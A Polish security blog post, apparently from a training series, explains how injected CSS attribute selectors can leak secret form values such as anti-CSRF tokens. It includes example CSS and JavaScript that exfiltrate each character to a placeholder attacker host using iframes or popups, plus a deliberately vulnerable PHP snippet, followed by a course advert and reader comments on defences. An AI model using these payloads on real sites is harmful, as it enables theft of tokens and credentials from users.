Trochę czasu minęło od ostatniego wydawania „Poniedziałku z trenerem”, ale spieszymy poinformować, że nie zrezygnowaliśmy z prowadzenia cyklu. Dzisiaj poniedziałek wypada we wtorek, zatem zapraszamy do lektury.
Witamy po przerwie w następnym odcinku z serii opisów bardziej technicznych. Dziś przeczytać będzie można o tym, jak wykorzystać język CSS, by wykradać wrażliwe dane.
W poprzednich odcinkach
We wcześniejszych wpisach cyklu Poniedziałek z trenerem:
- dwa proste błędy w kodzie Facebooka,
- cztery błędy do zdalnego wykonania kodu,
- modyfikacja jednego parametru za 10 000 dolarów,
- ciekawe ataki na nagłówki wiadomości,
- wykonanie kodu na firewallach PaloAlto,
- jak można było przejąć dowolne konto VirusTotal,
- dwa błędy prowadzące do wykradania kontaktów Yahoo,
- wirtualna rzeczywistość – realne błędy.
Selektory CSS
Język kaskadowego arkusza stylów posiada mnóstwo zaskakujących możliwości. Jedna z nich polega na bardzo dokładnym wyborze elementów, do których stosować ma się aktualna reguła. Na przykład przy pomocy
a[href="https://zaufanatrzeciastrona.pl"] { color: green; }
możemy pokolorować wszystkie linki na stronę główną Zaufanej Trzeciej Strony. Co więcej, selektor do wyboru interesującego elementu może wykorzystywać znaki specjalne – ^, $, czy *, oznaczające odpowiednio początek, koniec i dowolne miejsce w ciągu. Przykładowo
a[href^="https://zaufanatrzeciastrona.pl"] { color: green; }
pokoloruje na zielono wszystkie odnośniki do Zaufanej, bez względu na konkretną podstronę.
Sytuacja nie jest ograniczona do linków. Wybrać można dowolny element na stronie – na przykład pole formularza zawierające informacje poufne – klucz API, czy token anty-CSRF. Załóżmy, że na stronie znajduje się taki oto formularz:
<form id="tajne"> <input type="disabled" name="tajny-klucz" value="937848ed567a388eabdf"> </form>
Jeśli na tej samej stronie znajdzie się fragment CSS jak poniżej
#tajne input[value^='9'] { background-image: url(https://strona.atakujacego/9.png); }
dyrektywa zostanie zastosowana, bo w istocie wartość pola zaczyna się od znaku 9. Co więcej, przeglądarka spróbuje pobrać 9.png z serwera atakującego, co może zostać zaobserwowane. Daje to napastnikowi możliwość odsyłania wykradzionych informacji.
Wstrzyknięcie
Uważny czytelnik z pewnością dostrzeże pewną słabość. Jak mianowicie sprawić, by na atakowanej stronie znalazł się fragment złośliwego kodu CSS? Potrzeba tutaj wstrzyknięcia wybranej zawartości w kod podatnej strony. A przy założeniu, że możemy wstrzyknąć kod, dlaczego nie umieścić fragmentu JavaScript i nie odczytać sekretu przy jego pomocy?
Istotnie, w przypadku w którym możliwe jest wstrzyknięcie JavaScript, czyli podatność XSS, sytuacja staje się prostsza. Nie zawsze jednak jest to możliwe, jak na przykład w sytuacji, gdy odbita zawartość jest umieszczana bezpośrednio w otwartym tagu <style>
<style><?php echo htmlspecialchars($_GET['css']);?></style>
Atak może wtedy wymagać nieco więcej pracy, ale naszkicujemy jak go wykonać.
Wersja z ramkami
Jeśli aplikacja nie zawiera ochrony przez Clickjackingiem, tj. zezwala na renderowanie w ramce z innej domeny, atakujący może stworzyć witrynę, która otworzy po jednej ramce na każdą literę alfabetu, np.
function dodajRamke(url) { var ramka = document.createElement("iframe"); ramka.src = url; document.body.appendChild(ramka); } dodajRamke("https://podatna.strona/?css="#tajne%20input[value^='a']{background-image:url(https://strona.atakujacego/?zapis=a);}"); dodajRamke("https://podatna.strona/?css="#tajne%20input[value^='b']{background-image:url(https://strona.atakujacego/?zapis=b);}"); ...
Która po załadowaniu ramek odpyta o do tej pory odkryty początek ciągu:
function odczytaj(url) { var zadanie = new XMLHttpRequest(); zadanie.open("GET", url, false); zadanie.send(url); return zadanie.responseText; } $ujawnione = odczytaj('https://strona.atakujacego/?odczyt=1');
a następnie spróbuje odgadnąć kolejną literkę:
dodajRamke("https://podatna.strona/?css="#tajne%20input[value^="+$ujawnione+"'a']{background-image:url(https://strona.atakujacego/?zapis=a);}"); dodajRamke("https://podatna.strona/?css="#tajne%20input[value^="+$ujawnione+"'b']{background-image:url(https://strona.atakujacego/?zapis=b);}"); ...
Choć całość dokładnej implementacji, w tym kod aplikacji atakującego, można zostawić jako ćwiczenie, bardziej kompletny przykład znajdziecie tutaj.
Wersja bez ramek
Na szczęście coraz częściej strony zawierają ochronę przed umieszczaniem w ramce. Stąd pojawiła się potrzeba zademonstrowania ataku bez użycia ramek. Dylan Ayrey zademonstrował właśnie taki kod. Zamiast dodawać kolejne ramki, podatna strona otwierana jest w taki sposób:
var w = window.open('https://podatna.strona/cokolwiek', 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1") var w = window.open('https://podatna.strona/?css='+$css, 'f', "top=100000,left=100000,menubar=1,resizable=1,width=1,height=1")
Istotne jest, by skrypt uruchomiony był dopiero po akcji użytkownika, np. kliknięciu na stronie, oraz by to samo otwarte okienko służyło do kolejnych prób. Nikt nie lubi miliona okienek wyskakujących automatycznie i dlatego przeglądarki blokują takie zachowanie.
Dodatek
Okazuje się, że czasem możliwe jest ujawnienie pewnych informacji również bez potrzeby wstrzykiwania czegokolwiek. Można na przykład wykorzystać fakt, że odnośniki raz kliknięte mają w przeglądarce inny kolor. Co prawda dla nowoczesnych przeglądarek nie jest to już tak trywialne jak kiedyś, niemniej wciąż możliwe. Sami możecie się przekonać, w jaki sposób zmyślny fragment kodu jest w stanie odkryć Waszą historię przeglądania.
Szkolenia
A tych, którzy wciąż czują niedosyt wiedzy, zapraszamy na nasze szkolenia, prowadzone przez autora artykułu.
Czas trwania: 3 dni (20h), Prowadzący: Adam z z3s, Przemysław Sierociński
Liczba uczestników: maksymalnie 12 osób, cena: 3900 PLN netto
Komentarze
Ktoś tu oglądał niedawny stream Gynvaela :)
atak stary, a metoda obrony ta sama co zawsze: żadnych zewnętrznych plików (skryptów i stylów, nad którymi nie mamy bezpośredniej kontroli), CSP, Subresource Integrity, X-Frame-Options wspomniane we wpisie
najlepiej wszystko razem, dla porządku
Dokładnie! Wszystko już sto razy przerabiane. Tylko kolejna próba wyciągnięcia kasy na nieoczytanych i nieobytych ciemniakach.
Sam w takim razie napisz coś ciekawego, nieobyty ciemniaczku :)
Nie ma czegoś takiego jak … Chyba się wam pomyliło z „hidden”.
Oczywiście tag wcięło, więc jeszcze raz:
Nie ma czegoś takiego jak 'input type=”disabled”’…